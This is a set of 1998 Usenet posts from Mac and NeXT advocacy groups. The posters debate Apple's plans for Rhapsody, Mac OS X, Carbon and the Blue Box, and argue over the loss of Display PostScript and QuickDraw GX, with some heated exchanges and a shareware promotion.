instead of QuickDraw, or could have been added directly via an API designed
around GX, as in the case with the Carbon APIs designed around the new
"enhanced QuickDraw."
> - the system might chang the bufering scheme for a window dynamically
> - based on amount of free RAM etc
As above for frameworks and Carbon APIs with GX-oriented frameworks and
windows APIs.
> - Blue box and Carbon will support grafPorts and CGrafPots forever
GX can draw into ANY kind of bitmap, on screen or offscreen, or printer or
QuickDraw window. It was designed to be portable and is owned by Apple.
Betcha Apple pays Adobe *something* for Bravo ("enhanced QuickDraw").
> - yellow APIs change from PSWraps to same Enhanced QD APIs as Carbon
Obviouisly not GX.
> - native picture file and clipboard format for both yellow and Carbon is
PDF
PDF is primitive in many respects compared to what we have with GX
printing, or even GX flattened objects. For instance, GX print files and
flattened files allow one to retain the text-ness of overlapping
transparent text so that it can be edited/deleted/spell-checked/whatever
during the printing process even Japanese/Chinese/Korean text can have
this done during printing. Even if PDF has been extended in some way to
handle this tranparency issue on Carbon and MacOS X, it will not be
compatible with standard PDF formats on other systems. It would be more
efficient and effective to keep an internal format that is *designed* to
handle ALL possible screen graphics (such as GX) and translate it later to
PDF rather than use one that was originally designed for printers and
read-only display, such as PDF. GX flattened files, including overlapping,
transparent text and graphics, can be unflattened and edited by ANY
GX-using application -including HyperCard (see below)
> Unspoken bottom line: Adobe didn't come to the party with cheap DPS
> licensing so f--- them.
No, obviously Adobe offered a cheaper license to Apple for Bravo, so Apple
took it for Carbon and Yellow Box instead of DPS.
> Much of GX is back, though not in exactly the same form.
Not really. See below.
+++++++
Ric, for the last year or so, I have been working part-time to provide GX
functionality in HyperCard so that any HyperCard stack developer can make
full use of GX's power via an external function (XFCN) called "GXFCN."
Rather than try to prove my claims about GX's overall superiority on paper,
I challenge the engineers at Apple to a face-off:
Have the engineers at Apple create a HyperCard X-thing that allows
HyperCard developers to directly use the full "power" of Carbon graphics,
as I have with my GXFCN (for GX) and let's see how easy it is for a
HyperCard developer to produce full-powered graphics using Carbon graphics
compared with GX graphics.
Afterall, it is the needs of Macintosh USERS that are paramount here, is it
not and if it is easier for END-USERS to create cutting edge graphics using
HyperCard and GX than the new Carbon API, imagine how much easier it would
be for professional developers to do so. Also, consider the potential for
*scripting* pre-press produced using GX and contrast it with the
cumbersomeness of PDF file formats.
If the engineers from Apple need any help in rising to my challenge, I'll
gladly supply my complete source code for all aspects of GXFCN, so that
they can rapidly implement the Carbon API equivalent [ha!] of GXFCN for
HyperCard using my strategy.
Prediction:
Apple engineers know darned well that they cannot compete with GX by using
the raw Carbon graphics API, and will do their best to make me look like a
loon rather than accept the challenge. Ask any of the authors of GX-based
applications (you know who you are) if my claims sound even remotely
plausible when this happens. MacWeek and MacWorld have performed reviews of
GX-based applications on a regular basis and you can e-mail me for private
e-mail addresses of professional GX developers if you can't find any
yourself.
Macintosh users and developers should be aware that they have been royally,
well, "screwed" in the case of graphics for MacOS X.
While it would certainly be possible for Apple to implement a GX-like
library using Bravo which might well be superior to GX in some ways, the
fact is that it isn't a trivial task to implement such a library (it took
Apple 7 years and many graphics experts to do it the first time around). By
refusing to make QuickDraw GX part of the Carbon APIs, Apple has quite
deliberately crippled the future of Macintosh graphics without providing
much by way of compensation for either users or developers.
One wonders: was this crippling of the Yellow Box and MacOS graphics (by
abandoning DPS and GX) the price that Apple had to pay to get MS, Adobe and
Macromedia to port to MacOS X?
Play with the demo of my HyperCard-based GXFCN and decide for yourself.
It is a $10 shareware product, but the fee is only applicable when you
decide that you are accomplishing something useful when using it, so you
can *evaluate* for an indefinite period without feeling guilty. The whole
idea is to make sure that end-users and developers understand one of
Apple's crown jewels that has just been trashed in favor of paste ones.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Newsgroups: comp.sys.next.advocacy
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <6jbn80$eua$7@news.idiom.com> <rmcassid-1305981048520001@dante.eng.uci.edu>
In-Reply-To: <rmcassid-1305981048520001@dante.eng.uci.edu>
From: akira@home.com
Message-ID: <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>
Date: Fri, 15 May 1998 06:46:12 GMT
NNTP-Posting-Date: Thu, 14 May 1998 23:46:12 PDT
Organization: @Home Network
It's official, if you can consider anything said by anyone other than the
almighty Jobs as 'official', Display Postscript is dead. QuickDraw is the
replacement.
Well, just to be more clear on the strategy, DPS exhibits a number of
significant problems, not the least of which is the non-thread safe nature
of the window server. In addition, the client server nature of DPS imposes
some significant drawing restrictions as any of you know who have had to do
lots of PS drawing.
Of course, that same client-server architecture gave us things like NXHost
which will disappear.
So the new model is a lightweight window server that basically deals with
the cursor and moving windows around, but not actual drawing. Instead, all
drawing will be done by QuickDraw commands, which basically go straight to
the screen. The buffering system that DPS uses is still there, the
coordinate system, floating point nature, and each PS..() call will have a
corresponding version in QuickDraw. And cutting out the client-server
nature of DPS will enable multithreaded drawing.
So some good, and some bad, especially the loss of NXHost, but from what
they are promising, it should be a much faster drawing system. We shall
see.
All of this is due in MacOS X. Rhapsody 1.0 will still be DPS.
-d
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 14 May 1998 23:48:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B181334A-52777@206.165.43.157>
References: <6jghbm$1m$1@camel18.mindspring.com>
To: "Matthew Cromer" <matthew_cromer@iname.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Matthew Cromer <matthew_cromer@iname.com> said:
>Do you think the NeXT Apple developers want to write Rhapsody using the
>Carbon API's? lol.
In fact, Bruce Hoult claims that they have been:
<http://www.macintouch.com/m10imaging.html>
Relevant quote (see my thread "that's not GX, that's Bravo" for more
insight):
[...]
- yellow APIs change from PSWraps to same Enhanced QD APIs as Carbon
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:29:46 -0700
Message-ID: <see-below-1405982129470001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com>
In article <355B2F43.D365D2F1@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > Well, duh. Do you seriously believe that Rhapsody was going to replace the
> > Mac OS immediately and completely? Most Mac OS developers don't want this
> > to be the case and a lot of Mac users don't want this to be the case.
> > Rhapsody will just not be a suitable replacement as it starts out. There
> > will be a significant market for it, but that market is _not_ all Mac
> > users. That will become possible as Mac OS and Rhapsody are merged later in
> > Mac OS X.
>
> With a fully functional, working blue box environment as originally
> described by Apple, there would have been no reason on earth why
> Rhapsody *couldn't* have done exactly that. That's the purpose of the
> 18-month delay and Carbon....blue box couldn't be made to perform as
> originally advertised.
Developers already have a fully functional, working Blue Box environment
as originally described by Apple, and it will be shipped to customers in
September of this year. What part of that is hard for you to understand?
Apple will ship THIS YEAR eveyrthing they previously promised, implied, or
otherwise hinted at, in terms of both MacOS and Rhapsody.
OS X is promising things that are entirely new, things that WERE NOT
PROMISED BEFORE, on top of what we're already getting.
> > That way he didn't scare those faithful to the Mac OS away. There is a lot
> > of power in a name. With the focus on Mac OS X's backwards compatibility,
> > Apple assuaged fears that all the investment in the current Mac OS would be
> > lost.
>
> At least you admit to the PR core of this whole thing....
Well, duh...
> > I think few people really understood why Rhapsody was so compelling. Those
> > who already had a large investment in Mac OS code couldn't figure out why
> > they should go to the work to rewrite everything for the Yellow Box. Apple
> > is providing a solution. Those who believe Rhapsody to be compelling will
> > be satasfied by the release of Rhapsody and even more so when it moves into
> > the mainstream as Mac OS X.
>
> Had blue box worked as advertised, there wouldn't have been a problem
> with legacy applications.
Where on earth are you getting this idiotic premise that Blue Box is
currently in any way less than what Apple "advertised"? They only promised
a VirtualPC-like environment in which a regular old version of MacOS would
run, which could also run Mac applications. This already exists, and from
all reports works very well.
But like running SoftWindows on your Mac, that's only a solution for
occasional use (though unlike SoftWindows, speed isn't appearantly a
problem).
In addition, what you're missing is that Apple had only positioned
Rhapsody as a server/workstation/developer OS. OS X is more of a consumer
OS, which requires much more backward compatibility of thousands of apps,
more transparent user interface, less complexity etc.
> You don't think applications will have to be
> rewritten to run in the optimum OS 10 environment as Jobs has theorized
> it? Of course they will. The "tweaking" only refers to legacy aps--new
> aps will have to be rewritten to run on Mac OS 10....
I don't understand what you're saying. Can you create brand new software
for Windows without writing any code? New apps by definition can't be
rewritten, since they haven't been written yet. You make less sense every
time you write something...
Current Mac apps, including 68k apps, will be able to run in MacOS X
_without any changes_ in the Blue Box. However, they will still share a
common memory space, be cooperatively multitasked against each other, and
be burdened with emulated 68k code in the OS/libraries. The "tweaked" apps
will have all the benefits of the modern OS environment.
(In addition, it looks like in that extra year, the Blue Box will be
improved so that it appears transparent to the user - mingling "blue"
application windows with other applications, instead of having a separate
environment for the entire Blue Box. And before you say it Jonathan, Apple
never previously mentioned that such a thing would occur - it was always a
screen switching or separate window method.)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:36:18 -0700
Message-ID: <see-below-1405982136180001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <andyba-ya02408000R1305981710210001@news> <ericb-1405981314150001@132.236.171.104>
In article <ericb-1405981314150001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> In article <andyba-ya02408000R1305981710210001@news>,
> andyba@corp.webtv.net (Andy Bates) wrote:
>
>
> > "Late" according to what standard? Before this week, Apple NEVER promised
> > or scheduled a date when a modern OS would be available that would run
> > legacy apps with full compatibility. Even Rhapsody would have run them in a
> > blue box, keeping them from using modern OS features. So, by the schedule
> > that Apple just announced, Mac OS X is exactly on time.
>
> Apple promised a January 98 release of Rhapsody to the general public.
> They did not meet that deadline. You can argue that they've been adding
> new features, but the bottom line is they told us they would ship us an OS
> in January and they did not.
Okay, so they skipped the January "public" release (replacing it with a
second developer release a few months later) and pushed the summer release
back to the limit (or slightly beyond, depending on your definition of
"summer") to September.
Truthfully, I say big deal.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Date: 15 May 1998 04:11:33 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jgf9l$uqa$2@camel18.mindspring.com>
References: <nYv61.155$Q22.1604745@newsread.com> <6jfokg$un7$1@ting.ftel.net> <6jg587$677$1@nargun.cc.uq.edu.au> <355BA818.2C63@ibm.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6jf7oi$5cc$1@interport.net> , float@interport.net writes:
>Anyone who can make NT work reliably is more than skilled enough to work
>Unix. In fact, they might be able to turn water into wine and heal the
>sick.
ROFL
Actually, NT works reliably in some settings, not so in others.
It is a mysterious beast.
MC
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:38:02 -0700
Message-ID: <see-below-1405982138030001@209.24.240.162>
References: <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <B1800144-FB3B5@204.31.112.110> <355AD786.FD81A010@milestonerdl.com>
In article <355AD786.FD81A010@milestonerdl.com>, mark@milestonerdl.com wrote:
> Phil Brewster wrote:
>
> > According to the Current Plan (tm), it will include BSD (see references
> > below), but not as a default user environment. One of the slides from the
> > 'Core OS Architecture' session at WWDC yesterday indicated that BSD UNIX
> > will be 'well-hidden', but nonetheless available as an 'optional
> > environment for power users and developers', on MacOS X.
>
> Yet, in some private e-mail, a gent said a friend works at Apple and he said
> that it ain't so.
>
> If Rhapsody/PPC goes away, AND users are using 'purple box' (Purple is a royal
> color), there will be Unix under MaxOS X.
>
> Apple has 16-18 months to deliver....it would be nice to see Unix
support under
> MacOS X -
I think there will be, but it will be "well hidden."
> but then what's the diff between Rhapsody/PPC and MacOS X?
That's a good question, to which I don't know the answer.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:40:37 -0700
Message-ID: <see-below-1405982140370001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com>
In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > The only differences between the two are the names, the possible lack of
> > the Unix BSD layer in Mac OS X, and the presence of the Carbon APIs in Mac
> > OS X. Other than those, the two OSes are the same.
>
>
> OK, then, Jobs was lying when he said Apple was dropping 2000 APIs, of
> course.
Huh?
> Really, what you are saying is that this entire Mac OS 10 thing is no
> more than a publicity stunt desinged to hide the fact that Rhapsody as a
> consumer OS is almost two years late.
Huh?
> If so, it's too stupid for words.
No, it's everything you write that is too stupid for words.
> Mark me, Jobs has already started his decline at Apple. This bumble,
> along with the iMac fiasco, will set the stage for Jobs' soon
> retirement.
Huh?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:42:23 -0700
Message-ID: <see-below-1405982142230001@209.24.240.162>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> In article <355B31C4.77DFDC17@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > Pulsar wrote:
> >
> > >
> > > The only differences between the two are the names, the possible lack of
> > > the Unix BSD layer in Mac OS X, and the presence of the Carbon APIs in Mac
> > > OS X. Other than those, the two OSes are the same.
> >
> > OK, then, Jobs was lying when he said Apple was dropping 2000 APIs, of
> > course.
>
> No, you just don't understand.
I'm beginning to think he's _incapable_ of understanding such things, so
we shouldn't bother trying to explain.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:49:03 -0700
Message-ID: <see-below-1405982149040001@209.24.240.162>
References: <3559EA9E.3FD91406@spamtoNull.com> <B17F491A-9B67B@207.217.155.161> <355B365F.929E049D@spamtoNull.com>
In article <355B365F.929E049D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> To me, a "competent" blue box would definitely have solved deployment
> issues as effectively as the new theoretical Carbon scheme is projected
> to solve them. The fact that it didn't is testament that it didn't work
> as *it should* have worked.
Wrong. All you're saying is that it didn't work as _you imagine_ it should
have worked. Apple never promised or even implied that it would _ever_
work the way you imagine it should work, and nobody with a reasonable
level of intelligence or knowledge imagined that it would be that way any
time soon, if ever.
> I'm not saying that the carbon approach isn't "better"--only that it is
> obviously better at doing the very things blue box was to have handled
> most efficiently in the first place.
Again, completely incorrect. Blue Box was never supposed to be able to do
the things that Carbon is intended to do. In fact, the Blue Box that is
slated for MacOS X (which is _seperate from_ Carbon, in case you missed
it), should itself be even better than was originally promised.
The Blue Box that was originally promised already exists, and already
works as advertised, and it will be in customers' hands this September.
The Blue Box in OS X will be even better. And Carbon will be better still.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Ed Ellers" <kd4awq@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Thu, 14 May 1998 23:48:18 -0400
Organization: EarthLink Network, Inc.
Message-ID: <6jgdu4$jdd$1@bolivia.it.earthlink.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <6ips0q$7u6$1@sherrill.kiva.net>
Gregory Travis wrote:
"I have in front of me a current microWarehouse catalog. The cheapest disk
drive that I can find is a 1.7GB Seagate Medalist. A more reasonable
purchase, however, might be the 3.2GB version of the drive at $179.95.
"So, you can pay $100.00 for Windows98 in order to get FAT32 and the extra
600MB it will enable. The cost per megabyte to you of going that route is
16 cents.
"Or, you can pay $179.95 for a new drive and the extra 3200MB it will enable
(and keep Windows95). The cost per megabyte to you of going that route is 5
cents."
Apples and oranges. Buying Windows 98 would not only get you the extra
usable space *on your existing drive*, but adds many other enhancements over
the retail or OSR1 versions of Windows 95. On the other hand, buying the
new drive would get you a lot more space, but you'd either have to install
the new drive as an additional unit or else move your data over.
In other words, the benefits of each approach are very different.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: Fri, 15 May 1998 02:18:24 -0500
Organization: KAOS
Message-ID: <19980515021824933964@sdn-ts-007txhousp10.dialsprint.net>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5> <355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5>
John Kheit wrote:
> But who is going to make all those cool freebee apps, or the cheapo 20buck
> apps. Or even your average mainstream app.x
Couldn't a shareware author just assume the runtime is already installed
and dispense with the runtime and fee altogether? Or am I missing
something (likely, since no one else has suggested what strikes me as
obvious)?
--
John Bauer
<remove NOT from email address above, just like the spammers do>
Newsgroups: comp.sys.next.advocacy
Subject: STEPWISE Scoop on UI
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355bc985.0@206.25.228.5>
Date: 15 May 98 04:50:13 GMT
www.stepwise.com has a new article out with screen grabs of RDR2.
Good going guys. Nice article.
OK, I couldn't hold back a second longer. GOSH THAT FREAKIN UI
SUCKS BIG BOGON SCOOPS. Ah, I feel much better now. I certainly
hope, pray, and expect everyone else will love it. Hopefully
everyone else's mileage will vary in a positive way on this topic.
Blah.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Fri, 15 May 1998 02:18:26 -0500
Organization: KAOS
Message-ID: <19980515021826934065@sdn-ts-007txhousp10.dialsprint.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zi461.1949$sy4.3542379@news.rdc1.sdca.home.com> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us> <B180C072-D5287@206.165.43.181>
Lawson English wrote:
> X is NOT a consumer-oriented OS, and unless you can sell to millions of
> customers, you can't get the market-penetration to make Yellow a standard
> on MacOS.
What makes you think that X is not a consumer-oriented OS?
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 21:55:26 -0700
Message-ID: <see-below-1405982155260001@209.24.240.162>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114> <355b5f47.0@news.depaul.edu>
In article <355b5f47.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Brad Hutchings <brad@hutchings-software.com> wrote:
>
> > I do agree that Apple
> > Heaven has been perpetually 18 months away for several years, and my
> > patience long since ran out with the Apple Future.
>
> I don't think the problem is that Apple heaven is 'perpetually 18
> months away'. The problem was that nothing was being shipped.
> By contrast, Rhapsody 1.0 *will* get you a nice environment
> to run your MacOS apps in, and some good YellowBox apps.
>
> It's not a permanent solution, or an optimal solution. And
> it won't serve everybody's needs. But for a short-term solution
> it's just as valid as VirtualPC or SoftPC, which Apple and Mac
> fans tout quite a bit.
>
> But Rhapsody 1.0 isn't the end of the road. Things will
> get much better, but they'll be pretty good soon.
>
> I think Apple should keep on saying heaven is 18 months
> (or less) away. If they don't that means they've stopped
> improving the OS, and it's HELLO 1991 all over again.
>
> The catch is for Apple to actually deliver some
> heaven along the way. Instead of just moving the
> goalposts and never gaining any. I think they're
> gaining a little with Rhapsody. Not as much as they
> need, but a start.
I agree, and this is being missed by many. OS 8 was a pretty big step
forward for MacOS, and 8.1 added even more. 8.5 appears it will be at
least as big a step as 8.0 was, and Rhapsody 1.0 is nearly here as well,
with everything promised (except 1000s of native apps). So Apple _is_
taking steps forward, significant steps, though they're baby steps
compared to the "heaven" that should be coming in just over a year.
One other thing is that Rhapsody 1.0 and MacOS 8.5 may seem insignificant
now, but that's only because what Apple has outlined for the future is _so
much cooler_.
The future is looking better, making the present look dull by comparison.
But just because we're setting our sights higher doesn't mean that the
present is any less good that what we imagined a year ago (again, other
than the amount of developer support for Yellow Box).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 15 May 1998 04:46:46 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jghbm$1m$1@camel18.mindspring.com>
References: <see-below-1305982328510001@209.24.241.190> <B180C072-D5287@206.165.43.181> <rex-1405981953440001@192.168.0.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6jg2p5$8b2$1@crib.bevc.blacksburg.va.us> Nathan Urban,
nurban@crib.bevc.blacksburg.va.us writes:
>I think it's unlikely that Apple will weaken their YB support, given
>the _large_ amount of work they are currently putting into the
>technologies, the fact that they've already killed everything killable,
>the considerable superiority of the technology, etc. And YB is not an
>individual "non-core" technology like those others, it's an _entire_
>development API, that's very core. I _can_ see them weakening YB support
>if no one ever uses it. In that case, it _should_ be killed.
For one thing, it appears that much of the higher levels of Rhapsody are
written in yellow box code.
Do you think the NeXT Apple developers want to write Rhapsody using the
Carbon API's? lol.
MC
From: far_no@spam.ix.netcom.com(Felipe A. Rodriguez)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 07:17:39 GMT
Organization: ICGNetcom
Message-ID: <6jgq6j$5us@sjx-ixn10.ix.netcom.com>
References: <355bc985.0@206.25.228.5>
In article <355bc985.0@206.25.228.5> writes:
>www.stepwise.com has a new article out with screen grabs of RDR2.
>Good going guys. Nice article.
>
>OK, I couldn't hold back a second longer. GOSH THAT FREAKIN UI
>SUCKS BIG BOGON SCOOPS. Ah, I feel much better now. I certainly
>hope, pray, and expect everyone else will love it. Hopefully
>everyone else's mileage will vary in a positive way on this topic.
>Blah.
>--
>Thanks, be well, take care, later, John Kheit; self expressed...
snip
Gee did we forget to drink our Koolaid today, John? ;-)
Come to think of it I did'nt get my recommended daily allotment
which probably explains why I agree it SUCKS! It's hideous. It
looks like something produced by a company with a human interface
department. Oh wait, they do have one of those ;-)
Unbelievable, I really would like to know what happened at NeXT
subsequent to the release of 3.3. There have been no significant
GUI advances since then and even some of the techical ideas underlying
OPENSTEP bare the mark of being half cooked. And of course now we
have the brain death that is Apple infecting everything.
For those wanting to get a look at what a GNUstep GUI with themes
may look like check out (not mine though I'm working on one):
http://www.goldweb.com.au/~matt/wm/
Message to Steve Jobs,
Send someone out in search of the Grail. I believe you guys have
lost it. How sad...
--
Felipe A. Rodriguez # Francesco Sforza became Duke of Milan from
Agoura Hills, CA # being a private citizen because he was
# armed; his successors, since they avoided
far@ix.netcom.com # the inconveniences of arms, became private
(NeXTmail preferred) # citizens after having been dukes.
(MIMEmail welcome) # --Nicolo Machiavelli
Message-ID: <355BAC60.25CC2D9F@unet.univie.ac.at>
Date: Fri, 15 May 1998 04:45:52 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <forrestDELETE-THIS!-1405981252280001@term1-21.vta.west.net> <355B473D.64D8E298@milestonerdl.com> <pxpst2-1405981934260001@pelli.pathology.pitt.edu>
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If the DriverKit turns out to be anything like the NeXTSTEP 3.3 DriverKit I am
positive about it.
I just dusted off my NS3.3 Developer Intel and leafed through the online-manual,
and find the concepts just plain wonderful.
And with Release 3.3 they had a reasonable hardware base supported, and rewriting
those drivers shouldn't be too much of a problem.So,for starters, the future
looks good for Intels, even no-name.
BTW:
I was just viewing the Quicktime clip about Rhapsody on WWDC from Tuesday.
And the presentator(french accent,didn't catch his name) elaborated somewhat on
the driver kit and why it is here.The only reason: Intel's need for short-term
driver support.
And that could only concern Rhapsody for Intel as a separate OS,which will
ship,run and be supported!
Christian Benesch
Peter wrote:
> In article <355B473D.64D8E298@milestonerdl.com>, mark@milestonerdl.com wrote:
>
>
> > http://www.macnn.com/macnn/reality/archives/051198/news.shtml(No word if
> Rhapsody Intel will be pushed as much)
> >
> > Brett talked about support for
> > Rhapsody in the future on multiple architectures, but again, he too
> was very vague on this subject and did not specifically mention
> > Intel. We believe Steve briefed these keynote speakers ahead of
> time, and warned them to stay clear of the Intel situation since they
> > aren't quite secure in this area.
> > Brett Halle, Manager of the Core OS group
> >
> > So, explain the above. Esp. the 'stay clear' part.
>
